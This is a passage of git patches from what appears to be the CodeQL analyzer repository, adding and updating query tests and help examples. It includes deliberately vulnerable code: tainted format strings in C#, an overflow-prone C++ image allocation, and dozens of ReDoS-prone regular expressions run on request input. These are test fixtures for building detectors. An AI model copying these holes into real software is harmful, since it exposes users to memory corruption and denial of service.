Abuse/FormatInvalid/FormatInvalidBad.cs index 7f7faad5bdc..e89734ab19c 100644 --- a/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs +++ b/csharp/ql/test/query-tests/API Abuse/FormatInvalid/FormatInvalidBad.cs @@ -4,6 +4,6 @@ class Bad { string GenerateEmptyClass(string c) { - return string.Format("class {0} { }"); + return string.Format("class {0} { }", "C"); } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs index a0408813a6a..064f91133cd 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs @@ -21,6 +21,9 @@ public class TaintedPathHandler : IHttpHandler // GOOD: Not the format string. String.Format((IFormatProvider)null, "Do not do this", path); + + // GOOD: Not a formatting call + Console.WriteLine(path); } System.Windows.Forms.TextBox box1; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected index d8ac18d9227..bc87c96b194 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected @@ -6,11 +6,11 @@ nodes | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | | UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | semmle.label | access to local variable path | | UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | semmle.label | access to local variable path | -| UncontrolledFormatString.cs:31:23:31:31 | access to property Text | semmle.label | access to property Text | +| UncontrolledFormatString.cs:34:23:34:31 | access to property Text | semmle.label | access to property Text | | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | semmle.label | access to property QueryString : NameValueCollection | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | semmle.label | access to local variable format | #select | UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | access to property QueryString | | UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString : NameValueCollection | UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | access to property QueryString | -| UncontrolledFormatString.cs:31:23:31:31 | access to property Text | UncontrolledFormatString.cs:31:23:31:31 | access to property Text | UncontrolledFormatString.cs:31:23:31:31 | access to property Text | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:31:23:31:31 | access to property Text | access to property Text | +| UncontrolledFormatString.cs:34:23:34:31 | access to property Text | UncontrolledFormatString.cs:34:23:34:31 | access to property Text | UncontrolledFormatString.cs:34:23:34:31 | access to property Text | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:34:23:34:31 | access to property Text | access to property Text | | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString : NameValueCollection | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | $@ flows to here and is used as a format string. | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | access to property QueryString | From dc4ca9b1b90da65522a23d9059ed4c44159e7cc6 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 17 Dec 2020 18:12:50 +0000 Subject: [PATCH 0312/1241] C++: Add qhelp and example. --- .../CWE-190/AllocMultiplicationOverflow.cpp | 19 ++++++++++++++ .../CWE-190/AllocMultiplicationOverflow.qhelp | 25 +++++++++++++++++++ 2 files changed, 44 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.cpp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.qhelp diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.cpp new file mode 100644 index 00000000000..bde49c946ea --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.cpp @@ -0,0 +1,19 @@ + +image::image(int width, int height) +{ + int x, y; + + // allocate width * height pixels + pixels = new uint32_t[width * height]; + + // fill width * height pixels + for (y = 0; y < height; y++) + { + for (x = 0; x < width; x++) + { + pixels[(y * width) + height] = 0; + } + } + + // ... +} diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.qhelp new file mode 100644 index 00000000000..97bd393d5a0 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.qhelp @@ -0,0 +1,25 @@ + + + + +

    The result of a multiplication is used in the size of an allocation. If the multiplication can be made to overflow, a much smaller amount of memory may be allocated than the rest of the code expects. This may lead to overflowing writes when the buffer is accessed later.

    +
    + + +

    To fix this issue, ensure that the arithmetic used in the size of an allocation cannot overflow before memory is allocated.

    +
    + + +

    In the following example, an array of size width * height is allocated and stored as pixels. If width and height are set such that the multiplication overflows and wraps to a small value (say, 4) then the initialization code that follows the allocation will write beyond the end of the array.

    + +
    + + +
  • + Cplusplus.com: Integer overflow. +
  • +
    + +
    From 7ccd48e53c2bc46e6609979326b85c91d37e7af9 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 18 Dec 2020 11:33:23 +0100 Subject: [PATCH 0313/1241] Make DefaultTaintTracking do operand->instruction->operand interleaving like DataFlowUtil. --- .../cpp/ir/dataflow/DefaultTaintTracking.qll | 86 ++++++++----------- 1 file changed, 37 insertions(+), 49 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index f6ad042cc72..d552e56f353 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -204,16 +204,14 @@ private predicate nodeIsBarrierIn(DataFlow::Node node) { cached private predicate commonTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { - instructionToInstructionTaintStep(fromNode.asInstruction(), toNode.asInstruction()) - or operandToInstructionTaintStep(fromNode.asOperand(), toNode.asInstruction()) or - operandToOperandTaintStep(fromNode.asOperand(), toNode.asOperand()) + instructionToOperandTaintStep(fromNode.asInstruction(), toNode.asOperand()) } -private predicate operandToOperandTaintStep(Operand fromOperand, Operand toOperand) { +private predicate instructionToOperandTaintStep(Instruction fromInstr, Operand toOperand) { exists(ReadSideEffectInstruction readInstr | - fromOperand = readInstr.getArgumentOperand() and + fromInstr = readInstr.getArgumentDef() and toOperand = readInstr.getSideEffectOperand() ) } @@ -256,18 +254,18 @@ private predicate operandToInstructionTaintStep(Operand fromOperand, Instruction outInstr.getPrimaryInstruction() = call ) ) -} - -private predicate instructionToInstructionTaintStep(Instruction i1, Instruction i2) { + or // Flow through pointer dereference - i2.(LoadInstruction).getSourceAddress() = i1 + toInstr.(LoadInstruction).getSourceAddressOperand() = fromOperand or // Flow through partial reads of arrays and unions - i2.(LoadInstruction).getSourceValueOperand().getAnyDef() = i1 and - not i1.isResultConflated() and - ( - i1.getResultType() instanceof ArrayType or - i1.getResultType() instanceof Union + toInstr.(LoadInstruction).getSourceValueOperand() = fromOperand and + exists(Instruction fromInstr | fromInstr = fromOperand.getAnyDef() | + not fromInstr.isResultConflated() and + ( + fromInstr.getResultType() instanceof ArrayType or + fromInstr.getResultType() instanceof Union + ) ) or // Unary instructions tend to preserve enough information in practice that we @@ -277,63 +275,53 @@ private predicate instructionToInstructionTaintStep(Instruction i1, Instruction // `FieldAddressInstruction` could cause flow into one field to come out an // unrelated field. This would happen across function boundaries, where the IR // would not be able to match loads to stores. - i2.(UnaryInstruction).getUnary() = i1 and + toInstr.(UnaryInstruction).getUnaryOperand() = fromOperand and ( - not i2 instanceof FieldAddressInstruction + not toInstr instanceof FieldAddressInstruction or - i2.(FieldAddressInstruction).getField().getDeclaringType() instanceof Union + toInstr.(FieldAddressInstruction).getField().getDeclaringType() instanceof Union ) or - // Flow out of definition-by-reference - i2.(ChiInstruction).getPartial() = i1.(WriteSideEffectInstruction) and - not i2.isResultConflated() - or // Flow from an element to an array or union that contains it. - i2.(ChiInstruction).getPartial() = i1 and - not i2.isResultConflated() and - exists(Type t | i2.getResultLanguageType().hasType(t, false) | + toInstr.(ChiInstruction).getPartialOperand() = fromOperand and + not toInstr.isResultConflated() and + exists(Type t | toInstr.getResultLanguageType().hasType(t, false) | t instanceof Union or t instanceof ArrayType ) or exists(BinaryInstruction bin | - bin = i2 and - predictableInstruction(i2.getAnOperand().getDef()) and - i1 = i2.getAnOperand().getDef() + bin = toInstr and + predictableInstruction(toInstr.getAnOperand().getDef()) and + fromOperand = toInstr.getAnOperand() ) or // This is part of the translation of `a[i]`, where we want taint to flow // from `a`. - i2.(PointerAddInstruction).getLeft() = i1 - or - // Until we have from through indirections across calls, we'll take flow out - // of the parameter and into its indirection. - exists(IRFunction f, Parameter parameter | - i1 = getInitializeParameter(f, parameter) and - i2 = getInitializeIndirection(f, parameter) - ) + toInstr.(PointerAddInstruction).getLeftOperand() = fromOperand or // Until we have flow through indirections across calls, we'll take flow out // of the indirection and into the argument. // When we get proper flow through indirections across calls, this code can be // moved to `adjusedSink` or possibly into the `DataFlow::ExprNode` class. exists(ReadSideEffectInstruction read | - read.getAnOperand().(SideEffectOperand).getAnyDef() = i1 and - read.getArgumentDef() = i2 + read.getSideEffectOperand() = fromOperand and + read.getArgumentDef() = toInstr ) -} - -pragma[noinline] -private InitializeIndirectionInstruction getInitializeIndirection(IRFunction f, Parameter p) { - result.getParameter() = p and - result.getEnclosingIRFunction() = f -} - -pragma[noinline] -private InitializeParameterInstruction getInitializeParameter(IRFunction f, Parameter p) { - result.getParameter() = p and - result.getEnclosingIRFunction() = f + or + // Until we have from through indirections across calls, we'll take flow out + // of the parameter and into its indirection. + // `InitializeIndirectionInstruction` only has a single operand: the address of the + // value whose direction we are initializing. When initializing an indirection of a parameter `p`, + // the IR looks like this: + // ``` + // m1 = InitializeParameter[p] : &r1 + // r2 = Load[p] : r2, m1 + // m3 = InitializeIndirection[p] : &r2 + // ``` + // So by having flow from r2 to m3 we're enabling flow from `m1` to `m3`. + toInstr.(InitializeIndirectionInstruction).getAnOperand() = fromOperand } /** From b2116dc5b4be6bccfd2530cd362973c5874998e6 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 14 Dec 2020 22:28:32 +0100 Subject: [PATCH 0314/1241] add more tests for polynomial/exponential redos --- .../ReDoS/PolynomialBackTracking.expected | 14 +++++ .../ReDoS/PolynomialReDoS.expected | 52 +++++++++++++++++++ .../Performance/ReDoS/ReDoS.expected | 1 + .../Performance/ReDoS/polynomial-redos.js | 51 +++++++++++++++++- .../test/query-tests/Performance/ReDoS/tst.js | 5 +- 5 files changed, 120 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index f59181d085c..6d52e525d6c 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -52,6 +52,20 @@ | polynomial-redos.js:67:8:67:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | | polynomial-redos.js:68:8:68:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | | polynomial-redos.js:69:8:69:9 | .* | it can start matching anywhere after the start of the preceeding '[^Y]' | +| polynomial-redos.js:75:18:75:19 | .* | it can start matching anywhere after the start of the preceeding '<' | +| polynomial-redos.js:77:18:77:19 | .* | it can start matching anywhere after the start of the preceeding 'Y' | +| polynomial-redos.js:78:25:78:31 | (YH\|J)* | it can start matching anywhere after the start of the preceeding '(YH\|K)' | +| polynomial-redos.js:78:25:78:31 | (YH\|J)* | it can start matching anywhere after the start of the preceeding 'YH\|K' | +| polynomial-redos.js:80:17:80:18 | a* | it can start matching anywhere | +| polynomial-redos.js:89:20:89:21 | a* | it can start matching anywhere after the start of the preceeding 'a*' | +| polynomial-redos.js:101:17:101:18 | a+ | it can start matching anywhere | +| polynomial-redos.js:102:20:102:21 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | +| polynomial-redos.js:104:17:104:18 | a+ | it can start matching anywhere | +| polynomial-redos.js:105:17:105:18 | a+ | it can start matching anywhere | +| polynomial-redos.js:105:19:105:20 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | +| polynomial-redos.js:105:21:105:22 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | +| polynomial-redos.js:111:17:111:19 | \\s* | it can start matching anywhere | +| polynomial-redos.js:112:17:112:19 | \\s+ | it can start matching anywhere | | regexplib/address.js:18:26:18:31 | [ \\w]* | it can start matching anywhere after the start of the preceeding '[ \\w]{3,}' | | regexplib/address.js:20:144:20:147 | [ ]+ | it can start matching anywhere after the start of the preceeding '[a-zA-Z0-9 \\-.]{6,}' | | regexplib/address.js:24:26:24:31 | [ \\w]* | it can start matching anywhere after the start of the preceeding '[ \\w]{3,}' | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index a52cd13194c..f1ca5be6fcb 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -72,6 +72,26 @@ nodes | polynomial-redos.js:69:18:69:25 | req.body | | polynomial-redos.js:69:18:69:25 | req.body | | polynomial-redos.js:69:18:69:25 | req.body | +| polynomial-redos.js:75:2:75:8 | tainted | +| polynomial-redos.js:75:2:75:8 | tainted | +| polynomial-redos.js:77:2:77:8 | tainted | +| polynomial-redos.js:77:2:77:8 | tainted | +| polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:101:2:101:8 | tainted | +| polynomial-redos.js:101:2:101:8 | tainted | +| polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:104:2:104:8 | tainted | +| polynomial-redos.js:104:2:104:8 | tainted | +| polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:111:2:111:8 | tainted | +| polynomial-redos.js:111:2:111:8 | tainted | +| polynomial-redos.js:112:2:112:8 | tainted | +| polynomial-redos.js:112:2:112:8 | tainted | edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | @@ -137,6 +157,26 @@ edges | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:66:19:66:25 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:67:18:67:24 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:67:18:67:24 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:75:2:75:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:75:2:75:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:77:2:77:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:77:2:77:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:80:2:80:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:89:2:89:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:101:2:101:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:101:2:101:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:102:2:102:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:104:2:104:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:104:2:104:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:105:2:105:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:111:2:111:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:111:2:111:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:112:2:112:8 | tainted | +| polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:112:2:112:8 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:68:18:68:24 | req.url | polynomial-redos.js:68:18:68:24 | req.url | @@ -179,3 +219,15 @@ edges | polynomial-redos.js:66:19:66:25 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:67:18:67:24 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This expensive $@ use depends on $@. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | +| polynomial-redos.js:75:2:75:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:77:2:77:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:80:2:80:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:89:2:89:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:101:2:101:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:102:2:102:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:104:2:104:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:17:105:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:19:105:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:105:2:105:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:105:2:105:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:105:21:105:22 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:111:2:111:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:112:2:112:8 | tainted | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 3cc8b3a528f..37af14d4f0b 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -125,3 +125,4 @@ | tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. | | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:338:17:338:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js index 131700adf01..11c28b43a21 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js @@ -12,8 +12,8 @@ app.use(function(req, res) { tainted.replace(/.*\./, ''); // NOT OK tainted.replace(/^.*[/\\]/, ''); // OK tainted.replace(/^.*\./, ''); // OK - tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // NOT OK - tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // OK + tainted.replace(/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/); // NOT OK - but not detected + tainted.replace(/^(`+)([\s\S]*?[^`])\1(?!`)/); // NOT OK - but not detected /^(.*,)+(.+)?$/.test(tainted); // NOT OK - but only flagged by js/redos tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i); // NOT OK tainted.match(/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i); // NOT OK (even though it is a proposed fix for the above) @@ -67,4 +67,51 @@ app.use(function(req, res) { (/[^Y].*X/.test(tainted)); // NOT OK (/[^Y].*$/.test(req.url)); // OK - the input cannot contain newlines. (/[^Y].*$/.test(req.body)); // NOT OK + + tainted.match(/^([^-]+)-([A-Za-z0-9+/]+(?:=?=?))([?\x21-\x7E]*)$/); // NOT OK - but not detected + + tainted.match(new RegExp("(MSIE) (\\d+)\\.(\\d+).*XBLWP7")); // NOT OK - but not detected + + tainted.match(/<.*class="([^"]+)".*>/); // NOT OK - but not detected + + tainted.match(/Y.*X/); // NOT OK + tatined.match(/B?(YH|K)(YH|J)*X/); // NOT OK - but not detected + + tainted.match(/a*b/); // NOT OK - the initial repetition can start matching anywhere. + tainted.match(/cc*D/); // NOT OK - but flagged + tainted.match(/^ee*F/); // OK + tainted.match(/^g*g*/); // OK + tainted.match(/^h*i*/); // OK + + tainted.match(/^(ab)*ab(ab)*X/); // NOT OK - but not flagged + + tainted.match(/aa*X/); // NOT OK - but not flagged + tainted.match(/^a*a*X/); // NOT OK + tainted.match(/\wa*X/); // NOT OK - but not flagged + tainted.match(/a*b*c*/); // OK + tainted.match(/a*a*a*a*/); // OK + + tainted.match(/^([3-7]|A)*([2-5]|B)*X/); // NOT OK - but not flagged + tainted.match(/^\d*([2-5]|B)*X/); // NOT OK - but not flagged + tainted.match(/^([3-7]|A)*\d*X/); // NOT OK - but not flagged + + tainted.match(/^(ab)+ab(ab)+X/); // NOT OK - but not flagged + + tainted.match(/aa+X/); // NOT OK - but not flagged + tainted.match(/a+X/); // NOT OK + tainted.match(/^a+a+X/); // NOT OK + tainted.match(/\wa+X/); // NOT OK - but not flagged + tainted.match(/a+b+c+/); //NOT OK + tainted.match(/a+a+a+a+/); // OK - but is flagged + + tainted.match(/^([3-7]|A)+([2-5]|B)+X/); // NOT OK - but not flagged + tainted.match(/^\d+([2-5]|B)+X/); // NOT OK - but not flagged + tainted.match(/^([3-7]|A)+\d+X/); // NOT OK - but not flagged + + tainted.match(/\s*$/); // NOT OK + tainted.match(/\s+$/); // NOT OK + + tainted.match(/^\d*5\w*$/); // NOT OK - but not flagged + + tainted.match(/\/\*[\d\D]*?\*\//g); // NOT OK - but not flagged }); diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index c39e4eef87c..43fe1647afa 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -332,4 +332,7 @@ var bad72 = /(c?a?)*b/; var bad73 = /(?:a|a?)+b/; // NOT GOOD - but not detected. -var bad74 = /(a?b?)*$/; \ No newline at end of file +var bad74 = /(a?b?)*$/; + +// NOT GOOD +var bad75 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/; \ No newline at end of file From 712765c185a0266bdea92157f53d4b585dcb815a Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Fri, 18 Dec 2020 13:30:24 +0100 Subject: [PATCH 0315/1241] Python: Use ImportExp instead of SSA nodes This also reverts the previous commit. It should be squashed with that one, but for now we keep the history, so we can track the performance tests. --- python/ql/src/semmle/python/dataflow/new/TypeTracker.qll | 2 +- .../ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll index c7ed7f102d0..1bfc6218c57 100644 --- a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll +++ b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll @@ -274,7 +274,7 @@ class TypeTracker extends TTypeTracker { * heap and/or inter-procedural step from `nodeFrom` to `nodeTo`. */ pragma[inline] - TypeTracker step(Node nodeFrom, Node nodeTo) { + TypeTracker step(LocalSourceNode nodeFrom, Node nodeTo) { exists(StepSummary summary | StepSummary::step(nodeFrom, nodeTo, summary) and result = this.append(summary) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll index 1d28bbdbf49..8c9daf0c8d8 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll @@ -46,7 +46,7 @@ Node importNode(string name) { or name = alias.getValue().(ImportExpr).getImportedModuleName() ) and - result.(EssaNode).getVar().(AssignmentDefinition).getSourceVariable() = var + result.asExpr() = alias.getValue() ) or // Although it may seem superfluous to consider the 